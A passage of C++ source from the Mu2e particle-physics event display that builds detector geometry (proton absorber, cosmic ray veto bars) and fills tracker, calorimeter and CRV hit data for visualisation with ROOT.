(!config.getBool(\"protonabsorber.isHelical\", false)) \n    {\n      double inr[2], outr[2], thickness, halflength, z;\n      outr[0] = config.getDouble(\"protonabsorber.OutRadius0\");\n      outr[1] = config.getDouble(\"protonabsorber.OutRadius1\");\n      thickness = config.getDouble(\"protonabsorber.thickness\");\n      inr[0] = outr[0] - thickness;\n      inr[1] = outr[1] - thickness;\n      halflength = config.getDouble(\"protonabsorber.halfLength\");\n      mu2e::GeomHandle<mu2e::StoppingTarget> target;\n      double stoppingtargetlength=target->cylinderLength();\n      double stoppingtargetz=target->centerInMu2e().z() - _detSysOrigin.z();\n      z = stoppingtargetz + stoppingtargetlength*0.5 + halflength;\n\n      boost::shared_ptr<ComponentInfo> infoMecoStylePA(new ComponentInfo());\n      infoMecoStylePA->setName(\"MECOStyleProtonAbsorber\");\n      infoMecoStylePA->setText(0,\"MECOStyleProtonAbsorber\");\n      infoMecoStylePA->setText(1,Form(\"Inner Radius1 %.f mm  Outer Radius1 %.f mm\",inr[0]/CLHEP::mm,outr[0]/CLHEP::mm));\n      infoMecoStylePA->setText(2,Form(\"Inner Radius2 %.f mm  Outer Radius2 %.f mm\",inr[1]/CLHEP::mm,outr[1]/CLHEP::mm));\n      infoMecoStylePA->setText(3,Form(\"Length %.f mm\",2.0*halflength/CLHEP::mm));\n      infoMecoStylePA->setText(4,Form(\"Center at x: 0 mm, y: 0 mm, z: %.f mm\",z/CLHEP::mm));\n      boost::shared_ptr<Cone> shapePA(new Cone(0,0,z, 0,0,0,\n                                                halflength, inr[0], outr[0], inr[1], outr[1],\n                                                NAN, _geometrymanager, _topvolume, _mainframe, infoMecoStylePA, true));\n      _components.push_back(shapePA);\n      _mecostylepastructures.push_back(shapePA);\n    }\n  }\n\n//CRV\n  if( geom->hasElement<mu2e::CosmicRayShield>() )\n  {\n    mu2e::GeomHandle<mu2e::CosmicRayShield> CosmicRayShieldGeomHandle;\n    std::vector<mu2e::CRSScintillatorShield> const& shields = CosmicRayShieldGeomHandle->getCRSScintillatorShields();\n    for(std::vector<mu2e::CRSScintillatorShield>::const_iterator ishield=shields.begin(); ishield!=shields.end(); ++ishield)\n    {\n      mu2e::CRSScintillatorShield const& shield = *ishield;\n      std::string const& shieldName = shield.getName();\n\n      mu2e::CRSScintillatorBarDetail const& barDetail = shield.getCRSScintillatorBarDetail();\n      double dx=barDetail.getHalfLengths()[0];\n      double dy=barDetail.getHalfLengths()[1];\n      double dz=barDetail.getHalfLengths()[2];\n\n      int nModules = shield.nModules();\n      for (int im = 0; im < nModules; ++im)\n      {\n        mu2e::CRSScintillatorModule const & module = shield.getModule(im);\n\n        int nLayers = module.nLayers();\n        for (int il = 0; il < nLayers; ++il)\n        {\n          mu2e::CRSScintillatorLayer const & layer = module.getLayer(il);\n\n          int nBars = layer.nBars();\n          for (int ib = 0; ib < nBars; ++ib)\n          {\n            mu2e::CRSScintillatorBar const & bar = layer.getBar(ib);\n            int index = bar.index().asInt();\n            CLHEP::Hep3Vector barOffset = bar.getPosition() - _detSysOrigin;\n            double x=barOffset.x();\n            double y=barOffset.y();\n            double z=barOffset.z();\n\n            boost::shared_ptr<ComponentInfo> info(new ComponentInfo());\n            std::string c=Form(\"CRV Scintillator %s  module %i  layer %i  bar %i  (index %i)\",shieldName.c_str(),im,il,ib, index);\n            info->setName(c.c_str());\n            info->setText(0,c.c_str());\n            info->setText(1,Form(\"Dimension x: %.f mm, y: %.f mm, z: %.f mm\",2.0*dx/CLHEP::mm,2.0*dy/CLHEP::mm,2.0*dz/CLHEP::mm));\n            info->setText(2,Form(\"Center at x: %.f mm, y: %.f mm, z: %.f mm\",x/CLHEP::mm,y/CLHEP::mm,z/CLHEP::mm));\n\n            boost::shared_ptr<Cube> shape(new Cube(x,y,z,  dx,dy,dz,  0, 0, 0, NAN,\n                                                   _geometrymanager, _topvolume, _mainframe, info, true));\n            _components.push_back(shape);\n            _crvscintillatorbars[index]=(shape);\n          }\n        }\n      }\n    }\n  }\n}\n\nvoid DataInterface::makeMuonBeamStopStructuresVisible(bool visible)\n{\n  std::vector<boost::shared_ptr<VirtualShape> >::const_iterator structure;\n  for(structure=_mbsstructures.begin(); structure!=_mbsstructures.end(); structure++)\n  {\n    (*structure)->makeGeometryVisible(visible);\n  }\n\n  //tracks and straws don't have to be pushed into the foreground if the structure is removed\n  if(visible) toForeground();\n}\n\nvoid DataInterface::makeMecoStyleProtonAbsorberVisible(bool visible)\n{\n  std::vector<boost::shared_ptr<Cone> >::const_iterator structure;\n  for(structure=_mecostylepastructures.begin(); structure!=_mecostylepastructures.end(); structure++)\n  {\n    (*structure)->makeGeometryVisible(visible);\n  }\n\n  //tracks and straws don't have to be pushed into the foreground if the structure is removed\n  if(visible) toForeground();\n}\n\nvoid DataInterface::makeSupportStructuresVisible(bool visible)\n{\n  std::vector<boost::shared_ptr<VirtualShape> >::const_iterator structure;\n  for(structure=_supportstructures.begin(); structure!=_supportstructures.end(); structure++)\n  {\n    (*structure)->makeGeometryVisible(visible);\n  }\n\n  //tracks and straws don't have to be pushed into the foreground if the structure is removed\n  if(visible) toForeground();\n}\n\nvoid DataInterface::makeOtherStructuresVisible(bool visible)\n{\n  std::vector<boost::shared_ptr<VirtualShape> >::const_iterator structure;\n  for(structure=_otherstructures.begin(); structure!=_otherstructures.end(); structure++)\n  {\n    (*structure)->makeGeometryVisible(visible);\n  }\n\n  //tracks and straws don't have to be pushed into the foreground if the structure is removed\n  if(visible) toForeground();\n}\n\nvoid DataInterface::makeCrvScintillatorBarsVisible(bool visible)\n{\n  std::map<int, boost::shared_ptr<Cube> >::const_iterator crvbars;\n  for(crvbars=_crvscintillatorbars.begin(); crvbars!=_crvscintillatorbars.end(); crvbars++)\n  {\n    crvbars->second->makeGeometryVisible(visible);\n  }\n\n  //tracks and straws don't have to be pushed into the foreground if the structure is removed\n  if(visible) toForeground();\n}\n\nvoid DataInterface::toForeground()\n{\n  std::map<int,boost::shared_ptr<Straw> >::const_iterator straw;\n  for(straw=_straws.begin(); straw!=_straws.end(); straw++)\n  {\n    straw->second->toForeground();\n  }\n\n  std::map<int,boost::shared_ptr<VirtualShape> >::const_iterator crystal;\n  for(crystal=_crystals.begin(); crystal!=_crystals.end(); crystal++)\n  {\n    crystal->second->toForeground();\n  }\n\n  std::map<int,boost::shared_ptr<Cube> >::const_iterator crvbar;\n  for(crvbar=_crvscintillatorbars.begin(); crvbar!=_crvscintillatorbars.end(); crvbar++)\n  {\n    crvbar->second->toForeground();\n  }\n\n  std::vector<boost::shared_ptr<Track> >::const_iterator track;\n  for(track=_tracks.begin(); track!=_tracks.end(); track++)\n  {\n    (*track)->toForeground();\n  }\n}\n\nvoid DataInterface::useHitColors(bool hitcolors, bool whitebackground)\n{\n  double mint=getHitsTimeBoundary().mint;\n  double maxt=getHitsTimeBoundary().maxt;\n  std::vector<boost::shared_ptr<Straw> >::const_iterator hit;\n  for(hit=_hits.begin(); hit!=_hits.end(); hit++)\n  {\n    double time=(*hit)->getStartTime();\n    if(hitcolors)\n    {\n      int color=TMath::FloorNint(20.0*(time-mint)/(maxt-mint));\n      if(color>=20) color=19;\n      if(color<=0 || std::isnan(color)) color=0;\n      color+=2000;\n      (*hit)->setColor(color);\n    }\n    else (*hit)->setColor(whitebackground?1:0);\n  }\n  std::vector<boost::shared_ptr<VirtualShape> >::const_iterator crystalhit;\n  for(crystalhit=_crystalhits.begin(); crystalhit!=_crystalhits.end(); crystalhit++)\n  {\n    double time=(*crystalhit)->getStartTime();\n    if(hitcolors)\n    {\n      int color=TMath::FloorNint(20.0*(time-mint)/(maxt-mint));\n      if(color>=20) color=19;\n      if(color<=0 || std::isnan(color)) color=0;\n      color+=2000;\n      (*crystalhit)->setColor(color);\n    }\n    else (*crystalhit)->setColor(whitebackground?1:0);\n  }\n  std::vector<boost::shared_ptr<Cylinder> >::const_iterator driftradius;\n  for(driftradius=_driftradii.begin(); driftradius!=_driftradii.end(); driftradius++)\n  {\n    double time=(*driftradius)->getStartTime();\n    if(hitcolors)\n    {\n      int color=TMath::FloorNint(20.0*(time-mint)/(maxt-mint));\n      if(color>=20) color=19;\n      if(color<=0 || std::isnan(color)) color=0;\n      color+=2000;\n      (*driftradius)->setColor(color);\n    }\n    else (*driftradius)->setColor(whitebackground?1:0);\n  }\n  std::vector<boost::shared_ptr<Cube> >::const_iterator crvhit;\n  for(crvhit=_crvhits.begin(); crvhit!=_crvhits.end(); crvhit++)\n  {\n    double time=(*crvhit)->getStartTime();\n    if(hitcolors)\n    {\n      int color=TMath::FloorNint(20.0*(time-mint)/(maxt-mint));\n      if(color>=20) color=19;\n      if(color<=0 || std::isnan(color)) color=0;\n      color+=2000;\n      (*crvhit)->setColor(color);\n    }\n    else (*crvhit)->setColor(whitebackground?1:0);\n  }\n}\n\nvoid DataInterface::useTrackColors(boost::shared_ptr<ContentSelector> const &contentSelector, bool trackcolors, bool whitebackground)\n{\n  std::vector<ContentSelector::trackInfoStruct> selectedTracks=contentSelector->getSelectedTrackNames();\n  TrackColorSelector colorSelector(&selectedTracks, whitebackground);\n  std::vector<boost::shared_ptr<Track> >::const_iterator track;\n  for(track=_tracks.begin(); track!=_tracks.end(); track++)\n  {\n    if(trackcolors)\n    {\n      int color=colorSelector.getColor(*track);\n      (*track)->setColor(color);\n    }\n    else (*track)->setColor(whitebackground?kBlack:kWhite);\n  }\n}\n\nvoid DataInterface::resetBoundaryT(timeminmax &m)\n{\n  m.mint=NAN;\n  m.maxt=NAN;\n}\n\nvoid DataInterface::resetBoundaryP(spaceminmax &m)\n{\n  m.minx=NAN;\n  m.miny=NAN;\n  m.minz=NAN;\n  m.maxx=NAN;\n  m.maxy=NAN;\n  m.maxz=NAN;\n}\n\nDataInterface::spaceminmax DataInterface::getSpaceBoundary(bool useTarget, bool useCalorimeter, bool useTracks)\n{\n  spaceminmax m;\n  resetBoundaryP(m);\n  findBoundaryP(m, _trackerMinmax.minx, _trackerMinmax.miny, _trackerMinmax.minz);\n  findBoundaryP(m, _trackerMinmax.maxx, _trackerMinmax.maxy, _trackerMinmax.maxz);\n  if(useTarget)\n  {\n    findBoundaryP(m, _targetMinmax.minx, _targetMinmax.miny, _targetMinmax.minz);\n    findBoundaryP(m, _targetMinmax.maxx, _targetMinmax.maxy, _targetMinmax.maxz);\n  }\n  if(useCalorimeter)\n  {\n    findBoundaryP(m, _calorimeterMinmax.minx, _calorimeterMinmax.miny, _calorimeterMinmax.minz);\n    findBoundaryP(m, _calorimeterMinmax.maxx, _calorimeterMinmax.maxy, _calorimeterMinmax.maxz);\n  }\n  if(useTracks)\n  {\n    findBoundaryP(m, _tracksMinmax.minx, _tracksMinmax.miny, _tracksMinmax.minz);\n    findBoundaryP(m, _tracksMinmax.maxx, _tracksMinmax.maxy, _tracksMinmax.maxz);\n  }\n\n  if(std::isnan(m.minx)) m.minx=-1000;\n  if(std::isnan(m.miny)) m.miny=-1000;\n  if(std::isnan(m.minz)) m.minz=-1000;\n  if(std::isnan(m.maxx)) m.maxx=1000;\n  if(std::isnan(m.maxy)) m.maxy=1000;\n  if(std::isnan(m.maxz)) m.maxz=1000;\n  return m;\n}\n\nvoid DataInterface::findBoundaryT(timeminmax &m, double t)\n{\n  if(std::isnan(m.mint) || t<m.mint) m.mint=t;\n  if(std::isnan(m.maxt) || t>m.maxt) m.maxt=t;\n}\n\nvoid DataInterface::findBoundaryP(spaceminmax &m, double x, double y, double z)\n{\n  if(std::isnan(m.minx) || x<m.minx) m.minx=x;\n  if(std::isnan(m.miny) || y<m.miny) m.miny=y;\n  if(std::isnan(m.minz) || z<m.minz) m.minz=z;\n  if(std::isnan(m.maxx) || x>m.maxx) m.maxx=x;\n  if(std::isnan(m.maxy) || y>m.maxy) m.maxy=y;\n  if(std::isnan(m.maxz) || z>m.maxz) m.maxz=z;\n}\n\nvoid DataInterface::fillEvent(boost::shared_ptr<ContentSelector> const &contentSelector, const mu2e::SimParticleTimeOffset &timeOffsets)\n{\n  auto const& ptable = mu2e::GlobalConstantsHandle<mu2e::ParticleDataTable>();\n  removeNonGeometryComponents();\n  if(!_geometrymanager) createGeometryManager();\n  resetBoundaryT(_hitsTimeMinmax);\n  resetBoundaryT(_tracksTimeMinmax);\n\n  _numberHits=0;\n  _numberCrystalHits=0;\n\n  const mu2e::StepPointMCCollection *steppointMChits=contentSelector->getSelectedHitCollection<mu2e::StepPointMCCollection>();\n  if(steppointMChits!=nullptr)\n  {\n    _numberHits=steppointMChits->size();\n    std::vector<mu2e::StepPointMC>::const_iterator iter;\n    for(iter=steppointMChits->begin(); iter!=steppointMChits->end(); iter++)\n    {\n      const mu2e::StepPointMC& hit = *iter;\n      int sid = hit.strawId().asUint16();\n      int trackid = hit.trackId().asInt();\n      double time = timeOffsets.timeWithOffsetsApplied(hit);\n      double energy = hit.eDep();\n      std::map<int,boost::shared_ptr<Straw> >::iterator straw=_straws.find(sid);\n      if(straw!=_straws.end() && !std::isnan(time))\n      {\n        double previousStartTime=straw->second->getStartTime();\n        if(std::isnan(previousStartTime))\n        {\n          findBoundaryT(_hitsTimeMinmax, time);  //is it Ok to exclude all following hits from the time window?\n          straw->second->setStartTime(time);\n          straw->second->getComponentInfo()->setText(1,Form(\"hit time(s): %gns\",time/CLHEP::ns));\n          straw->second->getComponentInfo()->setText(2,Form(\"deposited energy(s): %geV\",energy/CLHEP::eV));\n          straw->second->getComponentInfo()->setText(3,Form(\"track id(s): %i\",trackid));\n          _hits.push_back(straw->second);\n        }\n        else\n        {\n          straw->second->getComponentInfo()->expandLine(1,Form(\"%gns\",time/CLHEP::ns));\n          straw->second->getComponentInfo()->expandLine(2,Form(\"%geV\",energy/CLHEP::eV));\n          straw->second->getComponentInfo()->expandLine(3,Form(\"%i\",trackid));\n        }\n      }\n    }\n  }\n\n  const mu2e::StrawHitCollection *strawhits=contentSelector->getSelectedHitCollection<mu2e::StrawHitCollection>();\n  if(strawhits!=nullptr)\n  {\n    _numberHits=strawhits->size();\n    std::vector<mu2e::StrawHit>::const_iterator iter;\n    int hitnumber=0;\n    for(iter=strawhits->begin(); iter!=strawhits->end(); iter++, hitnumber++)\n    {\n      const mu2e::StrawHit& hit = *iter;\n      int sid  = hit.strawId().asUint16();\n      double time = hit.time();\n      double dt = hit.dt();\n      double energy = hit.energyDep();\n      std::map<int,boost::shared_ptr<Straw> >::iterator straw=_straws.find(sid);\n      if(straw!=_straws.end() && !std::isnan(time))\n      {\n        double previousStartTime=straw->second->getStartTime();\n        if(std::isnan(previousStartTime))\n        {\n          findBoundaryT(_hitsTimeMinmax, time);  //is it Ok to exclude all following hits from the time window?\n          straw->second->setStartTime(time);\n          straw->second->setHitNumber(hitnumber);\n          straw->second->getComponentInfo()->setText(1,Form(\"hit time(s): %gns\",time/CLHEP::ns));\n          straw->second->getComponentInfo()->setText(2,Form(\"deposited energy(s): %geV\",energy/CLHEP::eV));\n          straw->second->getComponentInfo()->setText(3,Form(\"hit time interval(s): %gns\",dt/CLHEP::ns));\n          _hits.push_back(straw->second);\n        }\n        else\n        {\n          straw->second->getComponentInfo()->expandLine(1,Form(\"%gns\",time/CLHEP::ns));\n          straw->second->getComponentInfo()->expandLine(2,Form(\"%geV\",energy/CLHEP::eV));\n          straw->second->getComponentInfo()->expandLine(3,Form(\"%gns\",dt/CLHEP::ns));\n        }\n      }\n    }\n  }\n\n  const mu2e::KalRepCollection *kalRepHits=contentSelector->getSelectedHitCollection<mu2e::KalRepCollection>();\n  if(kalRepHits!=nullptr)\n  {\n    boost::shared_ptr<TGraphErrors> residualGraph(new TGraphErrors());\n    residualGraph->SetTitle(\"Residual Graph\");\n\n    for(unsigned int i=0; i<kalRepHits->size(); i++)\n    {\n      const KalRep &particle = kalRepHits->at(i);\n      TrkHitVector const& hots = particle.hitVector();\n      if(hots.size() > 0)\n      {\n        _numberHits+=hots.size();\n        for(auto iter=hots.begin(); iter!=hots.end(); iter++)\n        {\n          const TrkHit *hitOnTrack = *iter;\n          const mu2e::TrkStrawHit* strawHit = dynamic_cast<const mu2e::TrkStrawHit*>(hitOnTrack);\n          if(strawHit)\n          {\n            int    sid=strawHit->straw().id().asUint16();\n            double time = strawHit->time();\n            double hitT0 = strawHit->hitT0()._t0; //this is the time the hit \"arrived at the straw\"\n                                              //don't know what the other times are\n            double strawtime = strawHit->comboHit().time();\n            double driftRadius = strawHit->driftRadius();\n            const HepPoint &p=strawHit->hitTraj()->position(strawHit->hitLen());\n            double theta = strawHit->straw().getDirection().theta();\n            double phi = strawHit->straw().getDirection().phi();\n\n            double residual, residualError;\n            if(strawHit->resid(residual, residualError))\n            {\n              int n=residualGraph->GetN();\n              residualGraph->SetPoint(n,p.z(),residual);\n              residualGraph->SetPointError(n,0,residualError);\n            }\n\n            std::map<int,boost::shared_ptr<Straw> >::iterator straw=_straws.find(sid);\n            if(straw!=_straws.end() && !std::isnan(time))\n            {\n              double previousStartTime=straw->second->getStartTime();\n              if(std::isnan(previousStartTime))\n              {\n                findBoundaryT(_hitsTimeMinmax, hitT0);  //is it Ok to exclude all following hits from the time window?\n                straw->second->setStartTime(hitT0);\n                straw->second->getComponentInfo()->setText(1,Form(\"hitT0(s): %gns\",hitT0/CLHEP::ns));\n                straw->second->getComponentInfo()->setText(2,Form(\"hit time(s): %gns\",time/CLHEP::ns));\n                straw->second->getComponentInfo()->setText(3,Form(\"strawhit time(s): %gns\",strawtime/CLHEP::ns));\n                residualGraph->GetXaxis()->SetTitle(\"z [mm]\");\n                residualGraph->GetYaxis()->SetTitle(\"Residual [??]\");\n                straw->second->getComponentInfo()->getHistVector().push_back(boost::dynamic_pointer_cast<TObject>(residualGraph));\n                _hits.push_back(straw->second);\n              }\n              else\n              {\n                straw->second->getComponentInfo()->expandLine(1,Form(\"%gns\",hitT0/CLHEP::ns));\n                straw->second->getComponentInfo()->expandLine(2,Form(\"%gns\",time/CLHEP::ns));\n                straw->second->getComponentInfo()->expandLine(3,Form(\"%gns\",strawtime/CLHEP::ns));\n              }\n\n              const boost::shared_ptr<std::string> strawname=straw->second->getComponentInfo()->getName();\n              boost::shared_ptr<ComponentInfo> info(new ComponentInfo());\n              info->setName(Form(\"Drift Radius for %s\",strawname->c_str()));\n              info->setText(0,strawname->c_str());\n              info->setText(1,Form(\"Drift Radius %gcm\",driftRadius/CLHEP::cm));\n              boost::shared_ptr<Cylinder> driftradius(new Cylinder(p.x(),p.y(),p.z(),\n                                                          phi+TMath::Pi()/2.0,theta,0,\n                                                          5, //the halflength of 5 has no meaning\n                                                          0,driftRadius,hitT0,\n                                                          _geometrymanager, _topvolume, _mainframe, info, false));\n              _components.push_back(driftradius);\n              _driftradii.push_back(driftradius);\n            }\n          }\n        }\n      }\n    }\n  }\n\n  // KalSeed hits\n  const mu2e::KalSeedCollection *kalSeedsWithHits=contentSelector->getSelectedHitCollection<mu2e::KalSeedCollection>();\n  if(kalSeedsWithHits!=NULL)\n  {\n    for(size_t i=0; i<kalSeedsWithHits->size(); i++)\n    {\n      const mu2e::KalSeed &kalseed = kalSeedsWithHits->at(i);\n      const std::vector<mu2e::TrkStrawHitSeed> &hits = kalseed.hits();\n      for(size_t j=0; j<hits.size(); j++)\n      {\n        const mu2e::TrkStrawHitSeed &hit = hits.at(j);\n        int    sid = hit.strawId().asUint16();\n        double time = hit.hitTime();\n\n        std::map<int,boost::shared_ptr<Straw> >::iterator straw=_straws.find(sid);\n        if(straw!=_straws.end() && !std::isnan(time))\n        {\n          double previousStartTime=straw->second->getStartTime();\n          if(std::isnan(previousStartTime))\n          {\n            findBoundaryT(_hitsTimeMinmax, time);  //is it Ok to exclude all following hits from the time window?\n            straw->second->setStartTime(time);\n            straw->second->getComponentInfo()->setText(1,Form(\"hit time(s): %gns\",time/CLHEP::ns));\n            _hits.push_back(straw->second);\n          }\n          else\n          {\n            straw->second->getComponentInfo()->expandLine(1,Form(\"%gns\",time/CLHEP::ns));\n          }\n        }\n      }\n    }\n  }\n\n  // StepPoints at calorimeter\n  const mu2e::StepPointMCCollection *calosteppoints=contentSelector->getSelectedCaloHitCollection<mu2e::StepPointMCCollection>();\n  if(calosteppoints!=nullptr)\n  {\n    _numberCrystalHits=calosteppoints->size();\n    std::vector<mu2e::StepPointMC>::const_iterator iter;\n    for(iter=calosteppoints->begin(); iter!=calosteppoints->end(); iter++)\n    {\n      const mu2e::StepPointMC& calohit = *iter;\n      int crystalid = calohit.volumeId();\n      int trackid = calohit.trackId().asInt();\n      double time = timeOffsets.timeWithOffsetsApplied(calohit);\n      double energy = calohit.eDep();\n      std::map<int,boost::shared_ptr<VirtualShape> >::iterator crystal=_crystals.find(crystalid);\n      if(crystal!=_crystals.end() && !std::isnan(time))\n      {\n        double previousStartTime=crystal->second->getStartTime();\n        if(std::isnan(previousStartTime))\n        {\n          findBoundaryT(_hitsTimeMinmax, time);  //is it Ok to exclude all following hits from the time window?\n          crystal->second->setStartTime(time);\n          crystal->second->getComponentInfo()->setText(2,Form(\"hit time(s): %gns\",time/CLHEP::ns));\n          crystal->second->getComponentInfo()->setText(3,Form(\"deposited energy(s): %geV\",energy/CLHEP::eV));\n          crystal->second->getComponentInfo()->setText(4,Form(\"track ID(s): %i\",trackid));\n          _crystalhits.push_back(crystal->second);\n        }\n        else\n        {\n          crystal->second->getComponentInfo()->expandLine(2,Form(\"%gns\",time/CLHEP::ns));\n          crystal->second->getComponentInfo()->expandLine(3,Form(\"%geV\",energy/CLHEP::eV));\n          crystal->second->getComponentInfo()->expandLine(4,Form(\"%i\",trackid));\n        }\n      }\n    }\n  }\n\n  const mu2e::CaloHitCollection *calohits=contentSelector->getSelectedCaloHitCollection<mu2e::CaloHitCollection>();\n  art::ServiceHandle<mu2e::GeometryService> geoservice;\n  if(calohits!=nullptr && (geoservice->hasElement<mu2e::DiskCalorimeter>()))\n  {\n    _numberCrystalHits=calohits->size();  //this is not accurate since the return value gives the RO hits\n    std::vector<mu2e::CaloHit>::const_iterator iter;\n    for(iter=calohits->begin(); iter!=calohits->end(); iter++)\n    {\n      const mu2e::CaloHit& calohit = *iter;\n      int roid = calohit.crystalID();\n      int crystalid=0;\n\n      if(geoservice->hasElement<mu2e::DiskCalorimeter>())\n      {\n        mu2e::GeomHandle<mu2e::DiskCalorimeter> diskCalo;\n        crystalid=diskCalo->caloIDMapper().crystalIDFromSiPMID(roid);\n      }\n      double time = calohit.time();\n      double energy = calohit.energyDep();\n      std::map<int,boost::shared_ptr<VirtualShape> >::iterator crystal=_crystals.find(crystalid);\n      if(crystal!=_crystals.end() && !std::isnan(time))\n      {\n        double previousStartTime=crystal->second->getStartTime();\n        if(std::isnan(previousStartTime))\n        {\n          findBoundaryT(_hitsTimeMinmax, time);  //is it Ok to exclude all following hits from the time window?\n          crystal->second->setStartTime(time);\n          crystal->second->getComponentInfo()->setText(2,Form(\"hit time(s): %gns\",time/CLHEP::ns));\n          crystal->second->getComponentInfo()->setText(3,Form(\"deposited energy(s): %geV\",energy/CLHEP::eV));\n          crystal->second->getComponentInfo()->setText(4,Form(\"RO ID(s): %i\",roid));\n          _crystalhits.push_back(crystal->second);\n        }\n        else\n        {\n          crystal->second->getComponentInfo()->expandLine(2,Form(\"%gns\",time/CLHEP::ns));\n          crystal->second->getComponentInfo()->expandLine(3,Form(\"%geV\",energy/CLHEP::eV));\n          crystal->second->getComponentInfo()->expandLine(4,Form(\"%i\",roid));\n        }\n      }\n    }\n  }\n\n//CRV waveforms\n  for(std::map<int,boost::shared_ptr<Cube> >::iterator crvbar=_crvscintillatorbars.begin(); crvbar!=_crvscintillatorbars.end(); crvbar++)\n  {\n    crvbar->second->getComponentInfo()->getHistVector().clear();\n  }\n\n  mu2e::ConditionsHandle<mu2e::CrvParams> crvPar(\"ignored\");\n  double digitizationPeriod = crvPar->digitizationPeriod;\n  double recoPulsePedestal  = crvPar->pedestal;\n\n  double TDC0time = contentSelector->getTDC0time();\n  const std::vector<art::Handle<mu2e::CrvDigiCollection> > &crvDigisVector = contentSelector->getSelectedCrvDigiCollection();\n  for(size_t i=0; i<crvDigisVector.size(); i++)\n  {\n    const art::Handle<mu2e::CrvDigiCollection> &crvDigis = crvDigisVector[i];\n    std::string moduleLabel = crvDigis.provenance()->moduleLabel();\n    for(size_t j=0; j<crvDigis->size(); j++)\n    {\n      mu2e::CrvDigi const& digi(crvDigis->at(j));\n      int index = digi.GetScintillatorBarIndex().asInt();\n      int sipm  = digi.GetSiPMNumber();\n      std::string multigraphName = Form(\"Waveform (%s) SiPM %i\",moduleLabel.c_str(),sipm);\n      std::map<int,boost::shared_ptr<Cube> >::iterator crvbar=_crvscintillatorbars.find(index);\n      if(crvbar!=_crvscintillatorbars.end())\n      {\n        //each digi collection and each SiPM gets its own multigraph\n        bool newMultigraph=true;\n        int multigraphIndex=0;\n        std::vector<boost::shared_ptr<TObject> > &v=crvbar->second->getComponentInfo()->getHistVector();\n        for(size_t k=0; k<v.size(); k++)\n        {\n          //check whether multigraph exists already for this module label and SiPM\n          if(multigraphName.compare(v[k]->GetName())==0) {newMultigraph=false; multigraphIndex=k; break;}\n        }\n        if(newMultigraph)\n        {\n          boost::shared_ptr<TMultiGraph> waveform(new TMultiGraph(multigraphName.c_str(),multigraphName.c_str()));\n          v.push_back(boost::dynamic_pointer_cast<TObject>(waveform));\n          multigraphIndex=v.size()-1;\n        }\n\n        TGraph *graph = new TGraph(mu2e::CrvDigi::NSamples);\n        graph->SetMarkerStyle(20);\n        graph->SetMarkerSize(2);\n        for(size_t k=0; k<mu2e::CrvDigi::NSamples; k++)\n        { \n          graph->SetPoint(k,TDC0time+(digi.GetStartTDC()+k)*digitizationPeriod,digi.GetADCs()[k]);\n        }\n        boost::dynamic_pointer_cast<TMultiGraph>(v[multigraphIndex])->Add(graph,\"p\");\n      }\n    }\n  }\n\n//CRV reco pulses\n  const mu2e::CrvRecoPulseCollection *crvRecoPulses=contentSelector->getSelectedCrvHitCollection<mu2e::CrvRecoPulseCollection>();\n  if(crvRecoPulses!=nullptr)\n  {\n    for(size_t i=0; i<crvRecoPulses->size(); i++)\n    {\n      const mu2e::CrvRecoPulse &recoPulse = crvRecoPulses->at(i);\n      int    index = recoPulse.GetScintillatorBarIndex().asInt();\n      int    sipm  = recoPulse.GetSiPMNumber();\n      double time  = recoPulse.GetPulseTime();\n      int    PEs   = recoPulse.GetPEs();\n\n      std::map<int,boost::shared_ptr<Cube> >::iterator crvbar=_crvscintillatorbars.find(index);\n      if(crvbar!=_crvscintillatorbars.end() && !std::isnan(time))\n      {\n        double previousStartTime=crvbar->second->getStartTime();\n        if(std::isnan(previousStartTime)) _crvhits.push_back(crvbar->second);  //first reco hit of this counter\n\n        if(std::isnan(previousStartTime) || time<previousStartTime) crvbar->second->setStartTime(time);\n\n        if(std::isnan(previousStartTime))\n        {\n          findBoundaryT(_hitsTimeMinmax, time);  //is it Ok to exclude all following hits from the time window?\n          crvbar->second->getComponentInfo()->setText(3,\"Reco pulse SiPM0 PEs/time: \");\n          crvbar->second->getComponentInfo()->setText(4,\"Reco pulse SiPM1 PEs/time: \");\n          crvbar->second->getComponentInfo()->setText(5,\"Reco pulse SiPM2 PEs/time: \");\n          crvbar->second->getComponentInfo()->setText(6,\"Reco pulse SiPM3 PEs/time: \");\n        }\n        crvbar->second->getComponentInfo()->expandLine(sipm+3,Form(\"%iPEs/%.1fns\",PEs,time/CLHEP::ns));\n\n        //each digi collection and each SiPM gets its own multigraph\n        std::vector<boost::shared_ptr<TObject> > &v=crvbar->second->getComponentInfo()->getHistVector();\n        for(size_t k=0; k<v.size(); k++)\n        {\n          //check whether this multigraph is for the current SiPM\n          const char *multigraphName = v[k]->GetName();\n          int nameLength = strlen(multigraphName);\n          if(nameLength<1) continue;\n          if(atoi(multigraphName+nameLength-1)==sipm)\n          {\n            double fitParam0 = recoPulse.GetPulseHeight()*TMath::E();\n            double fitParam1 = recoPulse.GetPulseTime();\n            double fitParam2 = recoPulse.GetPulseBeta();\n\n            TList *functionList = boost::dynamic_pointer_cast<TMultiGraph>(v[k])->GetListOfFunctions();\n            if(functionList->GetSize()==0) functionList->Add(new TF1(\"pedestal\",Form(\"%f\",recoPulsePedestal))); //TODO: Use compiled function\n            TF1 *f = new TF1(Form(\"peakfitter%i\",functionList->GetSize()),\n                             Form(\"%f*(TMath::Exp(-(x-%f)/%f-TMath::Exp(-(x-%f)/%f)))\",\n                             fitParam0,fitParam1,fitParam2,fitParam1,fitParam2));  //TODO: Use compiled function\n            f->SetLineWidth(2);\n            f->SetLineColor(2);\n            if(recoPulse.GetRecoPulseFlags().test(mu2e::CrvRecoPulseFlagEnums::failedFit)) f->SetLineStyle(2);\n            functionList->Add(f);\n          }\n        }\n      }\n    }\n  }\n\n\n  const mu2e::PhysicalVolumeInfoMultiCollection *physicalVolumesMulti=contentSelector->getPhysicalVolumeInfoMultiCollection();\n\n  resetBoundaryP(_tracksMinmax);\n  std::vector<ContentSelector::trackInfoStruct> trackInfos;\n  std::vector<const mu2e::SimParticleCollection*> simParticleCollectionVector=contentSelector->getSelectedTrackCollection<mu2e::SimParticleCollection>(trackInfos);\n  for(unsigned int i=0; i<simParticleCollectionVector.size(); i++)\n  {\n    const mu2e::SimParticleCollection *simParticles=simParticleCollectionVector[i];\n    cet::map_vector<mu2e::SimParticle>::const_iterator iter;\n    for(iter=simParticles->begin(); iter!=simParticles->end(); iter++)\n    {\n      const mu2e::SimParticle& particle = iter->second;\n      art::Ptr<mu2e::SimParticle> particlePtr(trackInfos[i].productId, &particle, iter->first.asUint());\n      double timeOffset = timeOffsets.totalTimeOffset(particlePtr);\n      int id = particle.id().asInt();   //is identical with cet::map_vector_key& particleKey = iter->first;\n      int parentid = particle.parentId().asInt();\n      int 